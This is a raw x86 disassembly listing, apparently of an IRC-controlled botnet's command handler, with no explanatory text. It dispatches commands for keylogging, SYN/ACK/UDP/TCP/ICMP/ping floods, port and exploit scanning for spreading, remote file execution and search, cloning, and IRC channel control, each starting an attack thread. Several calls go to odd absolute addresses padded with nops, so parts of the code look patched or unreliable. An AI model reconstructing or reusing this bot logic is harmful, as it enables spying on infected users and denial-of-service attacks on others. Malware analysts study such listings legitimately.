		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412661
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_405D83


loc_405D6D:				; CODE XREF: sub_401ACD+42B4j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_405D6D
; ---------------------------------------------------------------------------


loc_405D83:				; CODE XREF: sub_401ACD+429Ej
		call	near ptr 2680867h
		nop
		push	eax
		push	offset unk_42B7E4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405D94:				; CODE XREF: sub_401ACD+41D5j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	21h
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DC4
		push	eax
		push	offset unk_42B7A4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405DC4:				; CODE XREF: sub_401ACD+42EAj
		push	offset unk_42B774
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405DCE:				; CODE XREF: sub_401ACD+41BEj
		push	edi
		push	offset aIdent	; "ident"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA3
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E69
		push	2
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405E0C
		push	offset dword_42B74C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405E0C:				; CODE XREF: sub_401ACD+4333j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B720
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FD
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[esi], eax
		jnz	loc_40828C
		call	near ptr 2680867h
		nop
		push	eax
		push	offset dword_42B6EC
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405E69:				; CODE XREF: sub_401ACD+4327j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	2
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E99
		push	eax
		push	offset dword_42B6B4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405E99:				; CODE XREF: sub_401ACD+43BFj
		push	offset dword_42B694
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405EA3:				; CODE XREF: sub_401ACD+4310j
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406020
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405F19
		push	[ebp+arg_10]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F19
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	23h
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F0F
		push	eax
		push	offset dword_42B648
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405F0F:				; CODE XREF: sub_401ACD+4435j
		push	offset dword_42B61C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405F19:				; CODE XREF: sub_401ACD+4401j
					; sub_401ACD+4410j
		push	23h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405F2F
		push	offset dword_42B5FC
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405F2F:				; CODE XREF: sub_401ACD+4456j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_BD4], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F5C
		mov	[ebp+var_BD0], 1
		jmp	short loc_405F65
; ---------------------------------------------------------------------------


loc_405F5C:				; CODE XREF: sub_401ACD+4481j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax


loc_405F65:				; CODE XREF: sub_401ACD+448Dj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_405F8C
		mov	esi, offset aF_0 ; "#f"
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F8C
		mov	esi, [ebp+var_88]


loc_405F8C:				; CODE XREF: sub_401ACD+44A1j
					; sub_401ACD+44B7j
		push	esi
		lea	eax, [ebp+var_C54]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B5D8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	23h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset byte_411CF5
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40600F


loc_405FF9:				; CODE XREF: sub_401ACD+4540j
		cmp	[ebp+var_BCC], ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_405FF9
; ---------------------------------------------------------------------------


loc_40600F:				; CODE XREF: sub_401ACD+452Aj
		nop
		call	near ptr 2680867h
		push	eax
		push	offset dword_42B59C
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_406020:				; CODE XREF: sub_401ACD+43E5j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406270
		cmp	dword_4CB724, ebx
		jz	short loc_40604F
		cmp	dword_4CB74C, ebx
		jz	short loc_40604F
		push	offset unk_42B560
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40604F:				; CODE XREF: sub_401ACD+456Ej
					; sub_401ACD+4576j
		cmp	[ebp+var_C], ebx
		jz	loc_406CDF
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_406074
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_406074:				; CODE XREF: sub_401ACD+4597j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060C1
		cmp	edi, ebx
		jz	short loc_406095
		push	[ebp+arg_0]
		push	3
		jmp	loc_406127
; ---------------------------------------------------------------------------


loc_406095:				; CODE XREF: sub_401ACD+45BCj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41895C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4060B7
		push	offset unk_42B534
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_4060B7:				; CODE XREF: sub_401ACD+45DEj
		push	offset unk_42B514
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_4060C1:				; CODE XREF: sub_401ACD+45B8j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DB
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406127
; ---------------------------------------------------------------------------


loc_4060DB:				; CODE XREF: sub_401ACD+4605j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060F5
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406127
; ---------------------------------------------------------------------------


loc_4060F5:				; CODE XREF: sub_401ACD+461Fj
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40610F
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406127
; ---------------------------------------------------------------------------


loc_40610F:				; CODE XREF: sub_401ACD+4639j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406139
		push	[ebp+arg_0]
		push	1


loc_406127:				; CODE XREF: sub_401ACD+45C3j
					; sub_401ACD+460Cj ...
		call	sub_4186C2
		pop	ecx
		pop	ecx


loc_40612E:				; CODE XREF: sub_401ACD+46A2j
					; sub_401ACD+472Aj ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_406139:				; CODE XREF: sub_401ACD+4653j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40619E
		cmp	edi, ebx
		jz	short loc_406171
		cmp	[ebp+var_8FC], bl
		jz	short loc_40615E
		push	ebx
		push	edi
		push	1
		jmp	short loc_406167
; ---------------------------------------------------------------------------


loc_40615E:				; CODE XREF: sub_401ACD+4689j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx


loc_406167:				; CODE XREF: sub_401ACD+468Fj
		call	sub_418A99
		add	esp, 0Ch
		jmp	short loc_40612E
; ---------------------------------------------------------------------------


loc_406171:				; CODE XREF: sub_401ACD+4681j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418C8F
		add	esp, 10h
		test	eax, eax
		jz	short loc_406194
		push	offset unk_42B4CC
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406194:				; CODE XREF: sub_401ACD+46BBj
		push	offset unk_42B4AC
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40619E:				; CODE XREF: sub_401ACD+467Dj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406229
		cmp	edi, ebx
		jz	short loc_4061FC
		cmp	[ebp+var_8FC], bl
		jz	short loc_4061CF
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_4061EF
; ---------------------------------------------------------------------------


loc_4061CF:				; CODE XREF: sub_401ACD+46EEj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4061EB
		push	esi
		push	edi
		push	ebx
		jmp	short loc_4061EF
; ---------------------------------------------------------------------------


loc_4061EB:				; CODE XREF: sub_401ACD+4717j
		push	ebx
		push	edi
		push	2


loc_4061EF:				; CODE XREF: sub_401ACD+4700j
					; sub_401ACD+471Cj
		call	sub_418DB0
		add	esp, 18h
		jmp	loc_40612E
; ---------------------------------------------------------------------------


loc_4061FC:				; CODE XREF: sub_401ACD+46E6j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4192E0
		add	esp, 10h
		test	eax, eax
		jz	short loc_40621F
		push	offset unk_42B48C
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40621F:				; CODE XREF: sub_401ACD+4746j
		push	offset unk_42B46C
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406229:				; CODE XREF: sub_401ACD+46E2j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406266
		cmp	edi, ebx
		jz	short loc_40625C
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419594
		add	esp, 10h
		jmp	loc_40612E
; ---------------------------------------------------------------------------


loc_40625C:				; CODE XREF: sub_401ACD+4771j
		push	offset unk_42B440
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406266:				; CODE XREF: sub_401ACD+476Dj
		push	offset unk_42B424
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406270:				; CODE XREF: sub_401ACD+4562j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFE
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFE
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D0A
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D0A


loc_4062C4:				; CODE XREF: sub_401ACD+3CBEj
					; sub_401ACD+3CEDj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CF0
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CF0
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAD
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAD
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C58
		push	[ebp+arg_8]
		push	offset dword_42BBFC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C58
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEB
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEB
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B87
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B87
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4B
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4B
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADC
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADC
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A56
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A56
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E6
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E6
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089C0
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089C0
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895C
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895C
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408887
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408887
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878C
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878C
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408688
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408688
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E9
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E9
		push	[ebp+arg_8]
		push	offset aJpDe10	; "jp]de10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408458
		push	[ebp+arg_8]
		push	offset aJp10	; "jp]10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408458
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C5
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C5
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B6
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B6
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823F
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823F
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408142
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408142
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40805A
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40805A
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F61
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F61
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F61
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067D7
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_31FC]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_317C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_30FC]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B0F7
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset byte_4146CF
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4067C6


loc_4067B0:				; CODE XREF: sub_401ACD+4CF7j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403DA1
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_4067B0
; ---------------------------------------------------------------------------


loc_4067C6:				; CODE XREF: sub_401ACD+4CE1j
		call	near ptr 2680867h
		nop
		push	eax
		push	offset unk_42B298
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_4067D7:				; CODE XREF: sub_401ACD+4C37j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E79
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E79
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406904
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3624]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_35A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3524]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+arg_10]
		push	offset dword_42B250
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset byte_413627
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4068F3


loc_4068DD:				; CODE XREF: sub_401ACD+4E24j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_407279
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_4068DD
; ---------------------------------------------------------------------------


loc_4068F3:				; CODE XREF: sub_401ACD+4E0Ej
		nop
		call	near ptr 2680867h
		push	eax
		push	offset dword_42B214
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_406904:				; CODE XREF: sub_401ACD+4D49j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D91
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D91
		push	[ebp+arg_8]
		push	offset aJpldg10	; "jpldg10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C53
		push	[ebp+arg_8]
		push	offset aJpl10	; "jpl10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C53
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B56
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B56
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A63
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A63
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795E
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795E
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407866
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407866
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407760
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407760
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407299
		push	[ebp+arg_8]
		push	offset aAdv	; "adv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407299
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407150
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407150
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407150
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407042
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407042
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F18
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F18
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F18
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6F
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6F
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406D17
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47EC]
		push	eax
		call	sub_41BEB0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_4188]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_18]
		lea	eax, [ebp+var_4588]
		push	eax
		call	sub_41BEB0
		push	offset asc_42D124 ; " "
		push	offset dword_42BBF8
		push	[ebp+esi+var_7C]
